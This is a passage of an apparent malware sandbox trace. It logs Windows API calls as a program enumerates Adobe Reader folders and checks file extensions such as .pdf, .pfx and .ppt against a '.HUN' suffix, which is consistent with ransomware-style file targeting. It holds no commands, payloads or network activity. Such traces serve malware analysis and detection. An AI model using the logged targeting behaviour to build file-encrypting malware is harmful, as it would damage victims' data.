1 [0272.746] lstrlenW (lpString=".myd") returned 4 [0272.746] lstrcmpiW (lpString1=".myd", lpString2=".HUN") returned 1 [0272.746] lstrlenW (lpString=".myi") returned 4 [0272.746] lstrcmpiW (lpString1=".myi", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".nef") returned 4 [0272.747] lstrcmpiW (lpString1=".nef", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".nrw") returned 4 [0272.747] lstrcmpiW (lpString1=".nrw", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".obj") returned 4 [0272.747] lstrcmpiW (lpString1=".obj", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".odb") returned 4 [0272.747] lstrcmpiW (lpString1=".odb", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".odc") returned 4 [0272.747] lstrcmpiW (lpString1=".odc", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".odm") returned 4 [0272.747] lstrcmpiW (lpString1=".odm", lpString2=".HUN") returned 1 [0272.747] lstrlenW (lpString=".odp") returned 4 [0272.747] lstrcmpiW (lpString1=".odp", lpString2=".HUN") returned 1 [0272.748] lstrlenW (lpString=".ods") returned 4 [0272.748] lstrcmpiW (lpString1=".ods", lpString2=".HUN") returned 1 [0272.748] lstrlenW (lpString=".oft") returned 4 [0272.748] lstrcmpiW (lpString1=".oft", lpString2=".HUN") returned 1 [0272.748] lstrlenW (lpString=".one") returned 4 [0272.748] lstrcmpiW (lpString1=".one", lpString2=".HUN") returned 1 [0272.748] lstrlenW (lpString=".onepkg") returned 7 [0272.748] lstrcmpiW (lpString1=".onepkg", lpString2="ash.HUN") returned -1 [0272.748] lstrlenW (lpString=".onetoc2") returned 8 [0272.748] lstrcmpiW (lpString1=".onetoc2", lpString2="lash.HUN") returned -1 [0272.748] lstrlenW (lpString=".opt") returned 4 [0272.748] lstrcmpiW (lpString1=".opt", lpString2=".HUN") returned 1 [0272.748] lstrlenW (lpString=".oqy") returned 4 [0272.748] lstrcmpiW (lpString1=".oqy", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".orf") returned 4 [0272.749] lstrcmpiW (lpString1=".orf", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".p12") returned 4 [0272.749] lstrcmpiW (lpString1=".p12", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".p7b") returned 4 [0272.749] lstrcmpiW (lpString1=".p7b", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".p7c") returned 4 [0272.749] lstrcmpiW (lpString1=".p7c", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".pam") returned 4 [0272.749] lstrcmpiW (lpString1=".pam", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".pbm") returned 4 [0272.749] lstrcmpiW (lpString1=".pbm", lpString2=".HUN") returned 1 [0272.749] lstrlenW (lpString=".pct") returned 4 [0272.750] lstrcmpiW (lpString1=".pct", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pcx") returned 4 [0272.750] lstrcmpiW (lpString1=".pcx", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pdd") returned 4 [0272.750] lstrcmpiW (lpString1=".pdd", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pdf") returned 4 [0272.750] lstrcmpiW (lpString1=".pdf", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pdp") returned 4 [0272.750] lstrcmpiW (lpString1=".pdp", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pef") returned 4 [0272.750] lstrcmpiW (lpString1=".pef", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pem") returned 4 [0272.750] lstrcmpiW (lpString1=".pem", lpString2=".HUN") returned 1 [0272.750] lstrlenW (lpString=".pff") returned 4 [0272.750] lstrcmpiW (lpString1=".pff", lpString2=".HUN") returned 1 [0272.751] lstrlenW (lpString=".pfm") returned 4 [0272.751] lstrcmpiW (lpString1=".pfm", lpString2=".HUN") returned 1 [0272.751] lstrlenW (lpString=".pfx") returned 4 [0272.751] lstrcmpiW (lpString1=".pfx", lpString2=".HUN") returned 1 [0272.751] lstrlenW (lpString=".pgm") returned 4 [0272.751] lstrcmpiW (lpString1=".pgm", lpString2=".HUN") returned 1 [0272.751] lstrlenW (lpString=".php") returned 4 [0272.751] lstrcmpiW (lpString1=".php", lpString2=".HUN") returned 1 [0272.751] lstrlenW (lpString=".php3") returned 5 [0272.751] lstrcmpiW (lpString1=".php3", lpString2="h.HUN") returned -1 [0272.751] lstrlenW (lpString=".php4") returned 5 [0272.751] lstrcmpiW (lpString1=".php4", lpString2="h.HUN") returned -1 [0272.751] lstrlenW (lpString=".php5") returned 5 [0272.752] lstrcmpiW (lpString1=".php5", lpString2="h.HUN") returned -1 [0272.752] lstrlenW (lpString=".phtml") returned 6 [0272.752] lstrcmpiW (lpString1=".phtml", lpString2="sh.HUN") returned -1 [0272.752] lstrlenW (lpString=".pict") returned 5 [0272.752] lstrcmpiW (lpString1=".pict", lpString2="h.HUN") returned -1 [0272.752] lstrlenW (lpString=".pl") returned 3 [0272.752] lstrcmpiW (lpString1=".pl", lpString2="HUN") returned -1 [0272.752] lstrlenW (lpString=".pls") returned 4 [0272.752] lstrcmpiW (lpString1=".pls", lpString2=".HUN") returned 1 [0272.752] lstrlenW (lpString=".pm") returned 3 [0272.752] lstrcmpiW (lpString1=".pm", lpString2="HUN") returned -1 [0272.752] lstrlenW (lpString=".png") returned 4 [0272.752] lstrcmpiW (lpString1=".png", lpString2=".HUN") returned 1 [0272.752] lstrlenW (lpString=".pnm") returned 4 [0272.753] lstrcmpiW (lpString1=".pnm", lpString2=".HUN") returned 1 [0272.753] lstrlenW (lpString=".pot") returned 4 [0272.753] lstrcmpiW (lpString1=".pot", lpString2=".HUN") returned 1 [0272.753] lstrlenW (lpString=".potm") returned 5 [0272.753] lstrcmpiW (lpString1=".potm", lpString2="h.HUN") returned -1 [0272.753] lstrlenW (lpString=".potx") returned 5 [0272.753] lstrcmpiW (lpString1=".potx", lpString2="h.HUN") returned -1 [0272.753] lstrlenW (lpString=".ppa") returned 4 [0272.753] lstrcmpiW (lpString1=".ppa", lpString2=".HUN") returned 1 [0272.753] lstrlenW (lpString=".ppam") returned 5 [0272.753] lstrcmpiW (lpString1=".ppam", lpString2="h.HUN") returned -1 [0272.753] lstrlenW (lpString=".ppm") returned 4 [0272.753] lstrcmpiW (lpString1=".ppm", lpString2=".HUN") returned 1 [0272.754] lstrlenW (lpString=".pps") returned 4 [0272.754] lstrcmpiW (lpString1=".pps", lpString2=".HUN") returned 1 [0272.754] lstrlenW (lpString=".ppsm") returned 5 [0272.754] lstrcmpiW (lpString1=".ppsm", lpString2="h.HUN") returned -1 [0272.754] lstrlenW (lpString=".ppt") returned 4 [0272.754] lstrcmpiW (lpString1=".ppt", lpString2=".HUN") returned 1 [0272.754] lstrlenW (lpString=".pptm") returned 5 [0272.754] lstrcmpiW (lpString1=".pptm", lpString2="h.HUN") returned -1 [0272.755] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.755] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.755] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0272.756] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.757] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.757] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0272.757] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.758] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.758] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0272.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.761] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.761] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0272.761] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.762] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.762] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0272.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.764] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.764] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0272.765] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.765] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.765] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0272.765] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.768] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.768] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0272.802] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.802] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.802] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0272.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.832] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.833] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0272.833] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.834] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.834] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0272.834] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.837] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0272.839] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.839] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0272.840] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624640 [0272.842] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0272.842] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0272.843] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x437dff0 | out: hHeap=0x590000) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0272.843] FindClose (in: hFindFile=0x6243c0 | out: hFindFile=0x6243c0) returned 1 [0272.843] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a3f98 | out: hHeap=0x590000) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0272.847] FindClose (in: hFindFile=0x6244c0 | out: hFindFile=0x6244c0) returned 1 [0272.847] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4290058 | out: hHeap=0x590000) returned 1 [0272.852] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x38ef310 | out: lpFindFileData=0x38ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0272.853] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, 